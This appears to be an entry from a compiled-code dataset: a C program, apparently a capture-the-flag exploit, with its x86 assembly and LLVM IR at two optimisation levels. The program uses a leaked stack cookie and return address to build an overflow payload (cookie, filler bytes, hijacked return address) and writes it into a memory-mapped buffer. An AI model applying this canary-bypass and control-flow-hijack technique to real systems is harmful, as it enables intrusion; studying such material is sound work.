#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ fake_respond(unsigned char volatile *, int);
unsigned long leak_flag2(unsigned long *);
int /*<<< orphan*/ write(int, char *, int);
int main() {
  write(1, "Hi2\n", 4);
  unsigned long target_rip = 0;
  unsigned long cookie = leak_flag2(&target_rip);
  write(1, "Loop\n", 5);
  while (1) {
    volatile unsigned char *base_addr = (unsigned char *)(0x13370000);
    volatile unsigned char *victim_base = (unsigned char *)(0x13371000);
    if ((*base_addr & 128) == 128) {
      for (int i = 4; i < 0x100; i++)
        base_addr[i] = victim_base[i - 4];
      fake_respond(base_addr, 1);
    }
    if ((*victim_base & 128) == 128) {
      if ((*victim_base & 3) == 3) {
        *((unsigned short *)(victim_base + 2)) = 256 + 8 + 5 * 8;
        *((unsigned long *)(victim_base + 4 + 256)) = cookie;
        *((unsigned long *)(victim_base + 4 + 256 + 8)) = 0x4141414141414141;
        *((unsigned long *)(victim_base + 4 + 256 + 16)) = 0x4242424242424242;
        *((unsigned long *)(victim_base + 4 + 256 + 24)) = 0x4343434343434343;
        *((unsigned long *)(victim_base + 4 + 256 + 32)) = 0x4444444444444444;
        *((unsigned long *)(victim_base + 4 + 256 + 40)) = target_rip;
        fake_respond(victim_base, 1);
        write(1, "WT\n", 3);
        while ((*victim_base & 128) != 128)
          ;
        write(1, "BOOM\n", 5);
        while (1) {
          if ((*base_addr & 128) == 128) {
            for (int i = 4; i < 0x100; i++)
              base_addr[i] = victim_base[i - 4];
            fake_respond(base_addr, 1);
          }
        }
      } else
        fake_respond(victim_base, 1);
    }
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x1,%edi
lea    0xeb5(%rip),%rsi
mov    $0x4,%edx
call   1030 <write@plt>
movq   $0x0,-0x10(%rbp)
lea    -0x10(%rbp),%rdi
call   1050 <leak_flag2@plt>
mov    %rax,-0x18(%rbp)
mov    $0x1,%edi
lea    0xe8f(%rip),%rsi
mov    $0x5,%edx
call   1030 <write@plt>
mov    $0x13370000,%eax
mov    %rax,-0x20(%rbp)
mov    $0x13371000,%eax
mov    %rax,-0x28(%rbp)
mov    -0x20(%rbp),%rax
mov    (%rax),%al
movzbl %al,%eax
and    $0x80,%eax
cmp    $0x80,%eax
jne    11f6 <main+0xc6>
movl   $0x4,-0x2c(%rbp)
cmpl   $0x100,-0x2c(%rbp)
jge    11e8 <main+0xb8>
mov    -0x28(%rbp),%rax
mov    -0x2c(%rbp),%ecx
sub    $0x4,%ecx
movslq %ecx,%rcx
mov    (%rax,%rcx,1),%dl
mov    -0x20(%rbp),%rax
movslq -0x2c(%rbp),%rcx
mov    %dl,(%rax,%rcx,1)
mov    -0x2c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x2c(%rbp)
jmp    11b2 <main+0x82>
mov    -0x20(%rbp),%rdi
mov    $0x1,%esi
call   1040 <fake_respond@plt>
mov    -0x28(%rbp),%rax
mov    (%rax),%al
movzbl %al,%eax
and    $0x80,%eax
cmp    $0x80,%eax
jne    1374 <main+0x244>
mov    -0x28(%rbp),%rax
mov    (%rax),%al
movzbl %al,%eax
and    $0x3,%eax
cmp    $0x3,%eax
jne    1361 <main+0x231>
mov    -0x28(%rbp),%rax
movw   $0x130,0x2(%rax)
mov    -0x18(%rbp),%rcx
mov    -0x28(%rbp),%rax
mov    %rcx,0x104(%rax)
mov    -0x28(%rbp),%rax
movabs $0x4141414141414141,%rcx
41 41 41
mov    %rcx,0x10c(%rax)
mov    -0x28(%rbp),%rax
movabs $0x4242424242424242,%rcx
42 42 42
mov    %rcx,0x114(%rax)
mov    -0x28(%rbp),%rax
movabs $0x4343434343434343,%rcx
43 43 43
mov    %rcx,0x11c(%rax)
mov    -0x28(%rbp),%rax
movabs $0x4444444444444444,%rcx
44 44 44
mov    %rcx,0x124(%rax)
mov    -0x10(%rbp),%rcx
mov    -0x28(%rbp),%rax
mov    %rcx,0x12c(%rax)
mov    -0x28(%rbp),%rdi
mov    $0x1,%esi
call   1040 <fake_respond@plt>
mov    $0x1,%edi
lea    0xd51(%rip),%rsi
mov    $0x3,%edx
call   1030 <write@plt>
mov    -0x28(%rbp),%rax
mov    (%rax),%al
movzbl %al,%eax
and    $0x80,%eax
cmp    $0x80,%eax
je     12e2 <main+0x1b2>
jmp    12c4 <main+0x194>
mov    $0x1,%edi
lea    0xd21(%rip),%rsi
mov    $0x5,%edx
call   1030 <write@plt>
mov    -0x20(%rbp),%rax
mov    (%rax),%al
movzbl %al,%eax
and    $0x80,%eax
cmp    $0x80,%eax
jne    135c <main+0x22c>
movl   $0x4,-0x30(%rbp)
cmpl   $0x100,-0x30(%rbp)
jge    134e <main+0x21e>
mov    -0x28(%rbp),%rax
mov    -0x30(%rbp),%ecx
sub    $0x4,%ecx
movslq %ecx,%rcx
mov    (%rax,%rcx,1),%dl
mov    -0x20(%rbp),%rax
movslq -0x30(%rbp),%rcx
mov    %dl,(%rax,%rcx,1)
mov    -0x30(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x30(%rbp)
jmp    1318 <main+0x1e8>
mov    -0x20(%rbp),%rdi
mov    $0x1,%esi
call   1040 <fake_respond@plt>
jmp    12f8 <main+0x1c8>
mov    -0x28(%rbp),%rdi
mov    $0x1,%esi
call   1040 <fake_respond@plt>
jmp    1374 <main+0x244>
jmp    1180 <main+0x50>

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
push   %rax
mov    $0x13370000,%ebx
lea    0xec0(%rip),%rsi
mov    $0x1,%edi
mov    $0x4,%edx
call   1030 <write@plt>
movq   $0x0,(%rsp)
mov    %rsp,%rdi
call   1050 <leak_flag2@plt>
mov    %rax,%r14
lea    0xe9c(%rip),%rsi
mov    $0x1,%edi
mov    $0x5,%edx
call   1030 <write@plt>
nopl   0x0(%rax,%rax,1)
cmpb   $0x0,0x13370000
js     11a0 <main+0x70>
cmpb   $0x0,0x13371000
jns    1180 <main+0x50>
jmp    1208 <main+0xd8>
cs nopw 0x0(%rax,%rax,1)
mov    $0x7,%eax
cs nopw 0x0(%rax,%rax,1)
nop
movzbl 0xff9(%rbx,%rax,1),%ecx
mov    %cl,-0x3(%rbx,%rax,1)
movzbl 0xffa(%rbx,%rax,1),%ecx
mov    %cl,-0x2(%rbx,%rax,1)
movzbl 0xffb(%rbx,%rax,1),%ecx
mov    %cl,-0x1(%rbx,%rax,1)
movzbl 0xffc(%rbx,%rax,1),%ecx
mov    %cl,(%rbx,%rax,1)
add    $0x4,%rax
cmp    $0x103,%rax
jne    11b0 <main+0x80>
mov    $0x13370000,%edi
mov    $0x1,%esi
call   1040 <fake_respond@plt>
cmpb   $0x0,0x13371000
jns    1180 <main+0x50>
mov    0x13371000,%al
not    %al
test   $0x3,%al
je     1229 <main+0xf9>
mov    $0x13371000,%edi
mov    $0x1,%esi
call   1040 <fake_respond@plt>
jmp    1180 <main+0x50>
movw   $0x130,0x13371002
13 30 01
mov    %r14,0x13371104
13
movabs $0x4141414141414141,%rax
41 41 41
mov    %rax,0x1337110c
13
movabs $0x4242424242424242,%rax
42 42 42
mov    %rax,0x13371114
13
movabs $0x4343434343434343,%rax
43 43 43
mov    %rax,0x1337111c
13
movabs $0x4444444444444444,%rax
44 44 44
mov    %rax,0x13371124
13
mov    (%rsp),%rax
mov    %rax,0x1337112c
13
mov    $0x13371000,%edi
mov    $0x1,%esi
call   1040 <fake_respond@plt>
lea    0xd66(%rip),%rsi
mov    $0x1,%edi
mov    $0x3,%edx
call   1030 <write@plt>
cs nopw 0x0(%rax,%rax,1)
xchg   %ax,%ax
cmpb   $0x0,0x13371000
jns    12c0 <main+0x190>
lea    0xd3e(%rip),%rsi
mov    $0x1,%edi
mov    $0x5,%edx
call   1030 <write@plt>
cmpb   $0x0,0x13370000
jns    12e0 <main+0x1b0>
mov    $0x7,%eax
nop
movzbl 0xff9(%rbx,%rax,1),%ecx
mov    %cl,-0x3(%rbx,%rax,1)
movzbl 0xffa(%rbx,%rax,1),%ecx
mov    %cl,-0x2(%rbx,%rax,1)
movzbl 0xffb(%rbx,%rax,1),%ecx
mov    %cl,-0x1(%rbx,%rax,1)
movzbl 0xffc(%rbx,%rax,1),%ecx
mov    %cl,(%rbx,%rax,1)
add    $0x4,%rax
cmp    $0x103,%rax
jne    12f0 <main+0x1c0>
mov    $0x13370000,%edi
mov    $0x1,%esi
call   1040 <fake_respond@plt>
jmp    12e0 <main+0x1b0>

LLVM IR (-O0):
@.str = [5 x i8] c"Hi2\0A\00"
@.str.1 = [6 x i8] c"Loop\0A\00"
@.str.2 = [4 x i8] c"WT\0A\00"
@.str.3 = [6 x i8] c"BOOM\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i64
%3 = alloca i64
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca i32
%7 = alloca i32
store i32 0, i32* %1
%8 = call i32 @write(i32 1, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i32 4)
store i64 0, i64* %2
%9 = call i64 @leak_flag2(i64* %2)
store i64 %9, i64* %3
%10 = call i32 @write(i32 1, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i64 0, i64 0), i32 5)
br label %11
11: ; preds = %0, %129
store i8* inttoptr (i64 322371584 to i8*), i8** %4
store i8* inttoptr (i64 322375680 to i8*), i8** %5
%12 = load i8*, i8** %4
%13 = load volatile i8, i8* %12
%14 = zext i8 %13 to i32
%15 = and i32 %14, 128
%16 = icmp eq i32 %15, 128
br i1 %16, label %17, label %38
17: ; preds = %11
store i32 4, i32* %6
br label %18
18: ; preds = %32, %17
%19 = load i32, i32* %6
%20 = icmp slt i32 %19, 256
br i1 %20, label %21, label %35
21: ; preds = %18
%22 = load i8*, i8** %5
%23 = load i32, i32* %6
%24 = sub nsw i32 %23, 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i8, i8* %22, i64 %25
%27 = load volatile i8, i8* %26
%28 = load i8*, i8** %4
%29 = load i32, i32* %6
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds i8, i8* %28, i64 %30
store volatile i8 %27, i8* %31
br label %32
32: ; preds = %21
%33 = load i32, i32* %6
%34 = add nsw i32 %33, 1
store i32 %34, i32* %6
br label %18
35: ; preds = %18
%36 = load i8*, i8** %4
%37 = call i32 @fake_respond(i8* %36, i32 1)
br label %38
38: ; preds = %35, %11
%39 = load i8*, i8** %5
%40 = load volatile i8, i8* %39
%41 = zext i8 %40 to i32
%42 = and i32 %41, 128
%43 = icmp eq i32 %42, 128
br i1 %43, label %44, label %129
44: ; preds = %38
%45 = load i8*, i8** %5
%46 = load volatile i8, i8* %45
%47 = zext i8 %46 to i32
%48 = and i32 %47, 3
%49 = icmp eq i32 %48, 3
br i1 %49, label %50, label %125
50: ; preds = %44
%51 = load i8*, i8** %5
%52 = getelementptr inbounds i8, i8* %51, i64 2
%53 = bitcast i8* %52 to i16*
store i16 304, i16* %53
%54 = load i64, i64* %3
%55 = load i8*, i8** %5
%56 = getelementptr inbounds i8, i8* %55, i64 4
%57 = getelementptr inbounds i8, i8* %56, i64 256
%58 = bitcast i8* %57 to i64*
store i64 %54, i64* %58
%59 = load i8*, i8** %5
%60 = getelementptr inbounds i8, i8* %59, i64 4
%61 = getelementptr inbounds i8, i8* %60, i64 256
%62 = getelementptr inbounds i8, i8* %61, i64 8
%63 = bitcast i8* %62 to i64*
store i64 4702111234474983745, i64* %63
%64 = load i8*, i8** %5
%65 = getelementptr inbounds i8, i8* %64, i64 4
%66 = getelementptr inbounds i8, i8* %65, i64 256
%67 = getelementptr inbounds i8, i8* %66, i64 16
%68 = bitcast i8* %67 to i64*
store i64 4774451407313060418, i64* %68
%69 = load i8*, i8** %5
%70 = getelementptr inbounds i8, i8* %69, i64 4
%71 = getelementptr inbounds i8, i8* %70, i64 256
%72 = getelementptr inbounds i8, i8* %71, i64 24
%73 = bitcast i8* %72 to i64*
store i64 4846791580151137091, i64* %73
%74 = load i8*, i8** %5
%75 = getelementptr inbounds i8, i8* %74, i64 4
%76 = getelementptr inbounds i8, i8* %75, i64 256
%77 = getelementptr inbounds i8, i8* %76, i64 32
%78 = bitcast i8* %77 to i64*
store i64 4919131752989213764, i64* %78
%79 = load i64, i64* %2
%80 = load i8*, i8** %5
%81 = getelementptr inbounds i8, i8* %80, i64 4
%82 = getelementptr inbounds i8, i8* %81, i64 256
%83 = getelementptr inbounds i8, i8* %82, i64 40
%84 = bitcast i8* %83 to i64*
store i64 %79, i64* %84
%85 = load i8*, i8** %5
%86 = call i32 @fake_respond(i8* %85, i32 1)
%87 = call i32 @write(i32 1, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.2, i64 0, i64 0), i32 3)
br label %88
88: ; preds = %94, %50
%89 = load i8*, i8** %5
%90 = load volatile i8, i8* %89
%91 = zext i8 %90 to i32
%92 = and i32 %91, 128
%93 = icmp ne i32 %92, 128
br i1 %93, label %94, label %95
94: ; preds = %88
br label %88
95: ; preds = %88
%96 = call i32 @write(i32 1, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i64 0, i64 0), i32 5)
br label %97
97: ; preds = %95, %124
%98 = load i8*, i8** %4
%99 = load volatile i8, i8* %98
%100 = zext i8 %99 to i32
%101 = and i32 %100, 128
%102 = icmp eq i32 %101, 128
br i1 %102, label %103, label %124
103: ; preds = %97
store i32 4, i32* %7
br label %104
104: ; preds = %118, %103
%105 = load i32, i32* %7
%106 = icmp slt i32 %105, 256
br i1 %106, label %107, label %121
107: ; preds = %104
%108 = load i8*, i8** %5
%109 = load i32, i32* %7
%110 = sub nsw i32 %109, 4
%111 = sext i32 %110 to i64
%112 = getelementptr inbounds i8, i8* %108, i64 %111
%113 = load volatile i8, i8* %112
%114 = load i8*, i8** %4
%115 = load i32, i32* %7
%116 = sext i32 %115 to i64
%117 = getelementptr inbounds i8, i8* %114, i64 %116
store volatile i8 %113, i8* %117
br label %118
118: ; preds = %107
%119 = load i32, i32* %7
%120 = add nsw i32 %119, 1
store i32 %120, i32* %7
br label %104
121: ; preds = %104
%122 = load i8*, i8** %4
%123 = call i32 @fake_respond(i8* %122, i32 1)
br label %124
124: ; preds = %121, %97
br label %97
125: ; preds = %44
%126 = load i8*, i8** %5
%127 = call i32 @fake_respond(i8* %126, i32 1)
br label %128
128: ; preds = %125
br label %129
129: ; preds = %128, %38
br label %11
}

LLVM IR (-O2):
@.str = [5 x i8] c"Hi2\0A\00"
@.str.1 = [6 x i8] c"Loop\0A\00"
@.str.2 = [4 x i8] c"WT\0A\00"
@.str.3 = [6 x i8] c"BOOM\0A\00"
define i32 @main() {
%1 = alloca i64
%2 = tail call i32 @write(i32 1, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0), i32 4)
%3 = bitcast i64* %1 to i8*
store i64 0, i64* %1
%4 = call i64 @leak_flag2(i64* %1)
%5 = call i32 @write(i32 1, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i64 0, i64 0), i32 5)
br label %6
6: ; preds = %81, %0
%7 = load volatile i8, i8* inttoptr (i64 322371584 to i8*)
%8 = icmp slt i8 %7, 0
br i1 %8, label %11, label %34
9: ; preds = %11
%10 = call i32 @fake_respond(i8* inttoptr (i64 322371584 to i8*), i32 1)
br label %34
11: ; preds = %6, %11
%12 = phi i64 [ %32, %11 ], [ 4, %6 ]
%13 = add nsw i64 %12, -4
%14 = getelementptr inbounds i8, i8* inttoptr (i64 322375680 to i8*), i64 %13
%15 = load volatile i8, i8* %14
%16 = getelementptr inbounds i8, i8* inttoptr (i64 322371584 to i8*), i64 %12
store volatile i8 %15, i8* %16
%17 = or i64 %12, 1
%18 = add nsw i64 %12, -3
%19 = getelementptr inbounds i8, i8* inttoptr (i64 322375680 to i8*), i64 %18
%20 = load volatile i8, i8* %19
%21 = getelementptr inbounds i8, i8* inttoptr (i64 322371584 to i8*), i64 %17
store volatile i8 %20, i8* %21
%22 = or i64 %12, 2
%23 = add nsw i64 %12, -2
%24 = getelementptr inbounds i8, i8* inttoptr (i64 322375680 to i8*), i64 %23
%25 = load volatile i8, i8* %24
%26 = getelementptr inbounds i8, i8* inttoptr (i64 322371584 to i8*), i64 %22
store volatile i8 %25, i8* %26
%27 = or i64 %12, 3
%28 = add nsw i64 %12, -1
%29 = getelementptr inbounds i8, i8* inttoptr (i64 322375680 to i8*), i64 %28
%30 = load volatile i8, i8* %29
%31 = getelementptr inbounds i8, i8* inttoptr (i64 322371584 to i8*), i64 %27
store volatile i8 %30, i8* %31
%32 = add nuw nsw i64 %12, 4
%33 = icmp eq i64 %32, 256
br i1 %33, label %9, label %11
34: ; preds = %9, %6
%35 = load volatile i8, i8* inttoptr (i64 322375680 to i8*)
%36 = icmp slt i8 %35, 0
br i1 %36, label %37, label %81
37: ; preds = %34
%38 = load volatile i8, i8* inttoptr (i64 322375680 to i8*)
%39 = and i8 %38, 3
%40 = icmp eq i8 %39, 3
br i1 %40, label %41, label %79
41: ; preds = %37
store i16 304, i16* inttoptr (i64 322375682 to i16*)
store i64 %4, i64* inttoptr (i64 322375940 to i64*)
store i64 4702111234474983745, i64* inttoptr (i64 322375948 to i64*)
store i64 4774451407313060418, i64* inttoptr (i64 322375956 to i64*)
store i64 4846791580151137091, i64* inttoptr (i64 322375964 to i64*)
store i64 4919131752989213764, i64* inttoptr (i64 322375972 to i64*)
%42 = load i64, i64* %1
store i64 %42, i64* inttoptr (i64 322375980 to i64*)
%43 = call i32 @fake_respond(i8* inttoptr (i64 322375680 to i8*), i32 1)
%44 = call i32 @write(i32 1, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.2, i64 0, i64 0), i32 3)
br label %45
45: ; preds = %45, %41
%46 = load volatile i8, i8* inttoptr (i64 322375680 to i8*)
%47 = icmp slt i8 %46, 0
br i1 %47, label %48, label %45
48: ; preds = %45
%49 = call i32 @write(i32 1, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i64 0, i64 0), i32 5)
br label %50
50: ; preds = %55, %48
%51 = load volatile i8, i8* inttoptr (i64 322371584 to i8*)
%52 = icmp slt i8 %51, 0
br i1 %52, label %56, label %55
53: ; preds = %56
%54 = call i32 @fake_respond(i8* inttoptr (i64 322371584 to i8*), i32 1)
br label %55
55: ; preds = %53, %50
br label %50
56: ; preds = %50, %56
%57 = phi i64 [ %77, %56 ], [ 4, %50 ]
%58 = add nsw i64 %57, -4
%59 = getelementptr inbounds i8, i8* inttoptr (i64 322375680 to i8*), i64 %58
%60 = load volatile i8, i8* %59
%61 = getelementptr inbounds i8, i8* inttoptr (i64 322371584 to i8*), i64 %57
store volatile i8 %60, i8* %61
%62 = or i64 %57, 1
%63 = add nsw i64 %57, -3
%64 = getelementptr inbounds i8, i8* inttoptr (i64 322375680 to i8*), i64 %63
%65 = load volatile i8, i8* %64
%66 = getelementptr inbounds i8, i8* inttoptr (i64 322371584 to i8*), i64 %62
store volatile i8 %65, i8* %66
%67 = or i64 %57, 2
%68 = add nsw i64 %57, -2
%69 = getelementptr inbounds i8, i8* inttoptr (i64 322375680 to i8*), i64 %68
%70 = load volatile i8, i8* %69
%71 = getelementptr inbounds i8, i8* inttoptr (i64 322371584 to i8*), i64 %67
store volatile i8 %70, i8* %71
%72 = or i64 %57, 3
%73 = add nsw i64 %57, -1
%74 = getelementptr inbounds i8, i8* inttoptr (i64 322375680 to i8*), i64 %73
%75 = load volatile i8, i8* %74
%76 = getelementptr inbounds i8, i8* inttoptr (i64 322371584 to i8*), i64 %72
store volatile i8 %75, i8* %76
%77 = add nuw nsw i64 %57, 4
%78 = icmp eq i64 %77, 256
br i1 %78, label %53, label %56
79: ; preds = %37
%80 = call i32 @fake_respond(i8* inttoptr (i64 322375680 to i8*), i32 1)
br label %81
81: ; preds = %79, %34
br label %6
}